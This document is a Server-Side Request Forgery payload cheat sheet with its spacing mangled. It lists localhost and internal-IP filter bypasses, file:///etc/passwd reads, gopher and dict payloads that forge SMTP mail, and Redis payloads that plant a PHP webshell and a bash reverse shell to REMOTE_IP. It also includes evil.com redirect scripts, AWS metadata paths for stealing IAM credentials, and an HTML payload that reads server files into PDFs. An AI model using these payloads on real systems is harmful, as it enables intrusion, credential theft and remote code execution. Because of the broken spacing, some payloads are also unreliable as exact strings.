Basic SSRF v1
http: // 127.0 . 0.1 : 80 http: // 127.0 . 0.1 : 443 http: // 127.0 . 0.1 : 22 http: // 0.0 . 0.0 : 80 http: // 0.0 . 0.0 : 443 http: // 0.0 . 0.0 : 22 Basic SSRF - Alternative version
http: // localhost: 80 http: // localhost: 443 http: // localhost: 22 https: // 127.0 . 0.1 / https: // localhost / http: // [::]: 80 / http: // [::]: 25 / SMTP http: // [::]: 22 / SSH http: // [::]: 3128 / Squid http: // 0000 :: 1 : 80 / http: // 0000 :: 1 : 25 / SMTP http: // 0000 :: 1 : 22 / SSH http: // 0000 :: 1 : 3128 / Squid http: // spoofed.burpcollaborator.net http: // localtest.me http: // customer1.app.localhost.my.company. 127.0 . 0.1 .nip.io http: // mail.ebc.apple.com redirect to 127.0 . 0.6 == localhost http: // bugbounty.dod.network redirect to 127.0 . 0.2 == localhost The service nip.io is awesome for that, it will convert any ip address as a dns.
NIP.IO maps < anything > . < IP Address > .nip.io to the corresponding < IP Address >, even 127.0 . 0.1 .nip.io maps to 127.0 . 0.1 It's a /8
http: // 127.127 . 127.127 http: // 127.0 . 1.3 http: // 127.0 . 0.0 http: // 0177.0 . 0.1 / http: // 2130706433 / = http: // 127.0 . 0.1 http: // 3232235521 / = http: // 192.168 . 0.1 http: // 3232235777 / = http: // 192.168 . 1.1 http: // 2852039166 / = http: // 169.254 . 169.254 IPv6/IPv4 Address Embedding
http: // [ 0 : 0 : 0 : 0 : 0 : ffff : 127.0 . 0.1 ] localhost: + 11211aaa localhost:00011211aaaa You can short-hand IP addresses by dropping the zeros
http: // 0 / http: // 127.1 http: // 127.0 . 1 Single or double encode a specific URL to bypass blacklist
http: // 127.0 . 0.1 /% 61dmin http: // 127.0 . 0.1 /% 2561dmin (curl only)
curl - v "http://evil $google .com" $google = "" http: // 1.1 . 1.1 & @2.2.2.2 # @3.3.3.3/ urllib2 : 1.1 . 1.1 requests + browsers : 2.2 . 2.2 urllib : 3.3 . 3.3 @EdOverflow
http: // ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ 0 : // evil.com : 80 ;http: // google.com : 80 / by Orange Tsai (Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf )
http: // 127.1 . 1.1 : 80 \@127.2.2.2: 80 / http: // 127.1 . 1.1 : 80 \@@127.2.2.2: 80 / http: // 127.1 . 1.1 : 80 :\@@127.2.2.2: 80 / http: // 127.1 . 1.1 : 80 #\@127.2.2.2:80/
using a redirect
1 . Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168 . 0.1 ) 2 . Launch the SSRF pointing to vulnerable.com / index.php?url = http: // YOUR_SERVER_IP vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168 . 0.1 Change "type=file" to "type=url" Paste URL in text field and hit enter Using this vulnerability users can upload images from any image URL = trigger an SSRF Create a domain that change between two IPs. http: // 1u .ms / exists for this purpose. For example to rotate between 1.2 . 3.4 and 169.254 - 169.254 , use the following domain: make - 1.2 . 3.4 - rebind - 169.254 - 169.254 - rr. 1u .ms Blind SSRF
jar:scheme: // domain / path !/ jar:http: // 127.0 . 0.1 !/ jar:https: // 127.0 . 0.1 !/ jar:ftp: // 127.0 . 0.1 !/ Allows an attacker to fetch the content of a file on the server
file: // path / to / file file: /// etc / passwd file: // \ / \ / etc / passwd ssrf.php?url = file: /// etc / passwd Allows an attacker to fetch any content from the web, it can also be used to scan ports.
ssrf.php?url = http: // 127.0 . 0.1 : 22 ssrf.php?url = http: // 127.0 . 0.1 : 80 ssrf.php?url = http: // 127.0 . 0.1 : 443
The following URL scheme can be used to probe the network
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
dict: //< user > ; < auth > @ < host > : < port >/ d: < word > : < database > : < n > ssrf.php?url = dict: // attacker: 11111 / A network protocol used for secure file transfer over secure shell
ssrf.php?url = sftp: // evil.com : 11111 / Trivial File Transfer Protocol, works over UDP
ssrf.php?url = tftp: // evil.com : 12346 / TESTUDPPACKET Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
ssrf.php?url = ldap: // localhost: 11211 /% 0astats % 0aquit ssrf.php?url = gopher: // 127.0 . 0.1 : 25 / xHELO % 20localhost % 250d % 250aMAIL % 20FROM % 3A % 3Chacker@site.com % 3E % 250d % 250aRCPT % 20TO % 3A % 3Cvictim@site.com % 3E % 250d % 250aDATA % 250d % 250aFrom % 3A % 20 % 5BHacker % 5D % 20 % 3Chacker@site.com % 3E % 250d % 250aTo % 3A % 20 % 3Cvictime@site.com % 3E % 250d % 250aDate % 3A % 20Tue % 2C % 2015 % 20Sep % 202017 % 2017 % 3A20 % 3A26 % 20 - 0400 % 250d % 250aSubject % 3A % 20AH % 20AH % 20AH % 250d % 250a % 250d % 250aYou % 20didn % 27t % 20say % 20the % 20magic % 20word % 20 % 21 % 250d % 250a % 250d % 250a % 250d % 250a. % 250d % 250aQUIT % 250d % 250a
will make a request like HELO localhost MAIL FROM : < hacker@site.com > RCPT TO: < victim@site.com > DATA From : [ Hacker ] < hacker@site.com > To: < victime@site.com > Date: Tue , 15 Sep 2017 17 : 20 : 26 -0400 Subject: Ah Ah AH
You didn 't say the magic word !
. QUIT gopher: //< proxyserver > : 8080 / _GET http: //< attacker: 80 >/ x HTTP / 1.1 % 0A % 0A gopher: //< proxyserver > : 8080 / _POST % 20http: //< attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body Content of evil . com / redirect . php : <? php header ( "Location: gopher://hack3r.site:1337/_SSRF%0ATest!" ); ?>
Now query it . https : //example.com/?q=http://evil.com/redirect.php. Content of evil . com / redirect . php : <? php $commands = array ( 'HELO victim.com' , 'MAIL FROM: <admin@victim.com>' , 'RCPT To: <sxcurity@oou.us>' , 'DATA' , 'Subject: @sxcurity!' , 'Corben was here, woot woot!' , '.' );
$payload = implode ( '%0A' , $commands);
header ( 'Location: gopher://0:25/_' . $payload); ?> Wrapper for Java when your payloads struggle with "\n" and "\r" characters.
ssrf.php?url = netdoc: /// etc / passwd Exploit using the Gopher protocol, full exploit script available at https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py .
gopher: // localhost: 8000 / _ % 00 % 1A % 00 % 00 % 0A % 00UWSGI_FILE % 0C % 00 / tmp / test.py Header modifier1 (1 byte) 0 (%00) datasize (2 bytes) 26 (%1A%00) modifier2 (1 byte) 0 (%00)
Variable (UWSGI_FILE) key length (2 bytes) 10 (%0A%00) key data (m bytes) UWSGI_FILE value length (2 bytes) 12 (%0C%00) value data (n bytes) /tmp/test.py
Redis is a database system that stores everything in RAM
# Getting a webshell url = dict: // 127.0 . 0.1 : 6379 / CONFIG % 20SET % 20dir % 20 /var/ www / html url = dict: // 127.0 . 0.1 : 6379 / CONFIG % 20SET % 20dbfilename % 20file.php url = dict: // 127.0 . 0.1 : 6379 / SET % 20mykey % 20 "<\x3Fphp system( $_GET [0])\x3F>" url = dict: // 127.0 . 0.1 : 6379 / SAVE
# Getting a PHP reverse shell gopher: // 127.0 . 0.1 : 6379 / _config % 20set % 20dir % 20 % 2Fvar % 2Fwww % 2Fhtml gopher: // 127.0 . 0.1 : 6379 / _config % 20set % 20dbfilename % 20reverse.php gopher: // 127.0 . 0.1 : 6379 / _set % 20payload % 20 % 22 % 3C % 3Fphp % 20shell_exec % 28 % 27bash % 20 - i % 20 % 3E % 26 % 20 % 2Fdev % 2Ftcp % 2FREMOTE_IP % 2FREMOTE_PORT % 200 % 3E % 261 % 27 % 29 % 3B % 3F % 3E % 22 gopher: // 127.0 . 0.1 : 6379 / _save by @D0rkerDevil & @alyssa.o.herrera
http://brutelogic.com.br/poc.svg - > simple alert https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri = - > simple ssrf
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri =http://brutelogic.com.br/poc.svg The content of the file will be integrated inside the PDF as an image or text.
< img src = "echopwn" onerror = " document . write ('<iframe src=file : ///etc/passwd></iframe>') " /> Example of a PDF attachment using HTML
use <link rel=attachment href="URL"> as Bio text
use 'Download Data' feature to get PDF
use pdfdetach -saveall filename.pdf to extract embedded resource
cat attachment.bin
Docs
Interesting path to look for at http://169.254.169.254 or http://instance-data
Always here : / latest / meta - data / {hostname , public - ipv4 , ...} User data (startup script for auto - scaling) : / latest / user - data Temporary AWS credentials : / latest / meta - data / iam / security - credentials / DNS record
http: // instance - data http: // 169.254 . 169.254 http: // 169.254 . 169.254 .xip.io / http: // 1ynrnhl.xip.io / http: // www.owasp.org.1ynrnhl.xip.io / HTTP redirect
Static :http: // nicob.net / redir6a Dynamic:http: // nicob.net / redir - http - 169.254 . 169.254 : 80 - Alternate IP encoding
http: // 425.510 . 425.510 / Dotted decimal with overflow http: // 2852039166 / Dotless decimal http: // 7147006462 / Dotless decimal with overflow http: // 0xA9 . 0xFE . 0xA9 . 0xFE / Dotted hexadecimal http: // 0xA9FEA9FE / Dotless hexadecimal http: // 0x41414141A9FEA9FE / Dotless hexadecimal with overflow http: // 0251.0376 . 0251.0376 / Dotted octal http: // 0251.00376 . 000251.0000376 / Dotted octal with padding More urls to include
http: // 169.254 . 169.254 / latest / user - data http: // 169.254 . 169.254 / latest / user - data / iam / security - credentials / [ ROLE NAME ] http: // 169.254 . 169.254 / latest / meta - data / http: // 169.254 . 169.254 / latest / meta - data / iam / security - credentials / [ ROLE NAME ] http: // 169.254 . 169.254 / latest / meta - data / iam / security - credentials / PhotonInstance http: // 169.254 . 169.254 / latest / meta - data / ami - id http: // 169.254 . 169.254 / latest / meta - data / reservation - id http: // 169.254 . 169.254 / latest / meta - data / hostname http: // 169.254 . 169.254 / latest / meta - data / public - keys / http: // 169.254 . 169.254 / latest / meta - data / public - keys / 0 / openssh - key http: // 169.254 . 169.254 / latest / meta - data / public - keys / [ ID ] / openssh - key http: // 169.254 . 169.254 / latest / meta - data / iam / security - credentials / dummy http: // 169.254 . 169.254 / latest / meta - data / iam / security - credentials / s3access http: // 169.254 . 169.254 / latest / dynamic / instance - identity / document AWS SSRF Bypasses
Converted Decimal IP: http://2852039166/latest/meta-data/ IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/ IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/ IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/ 
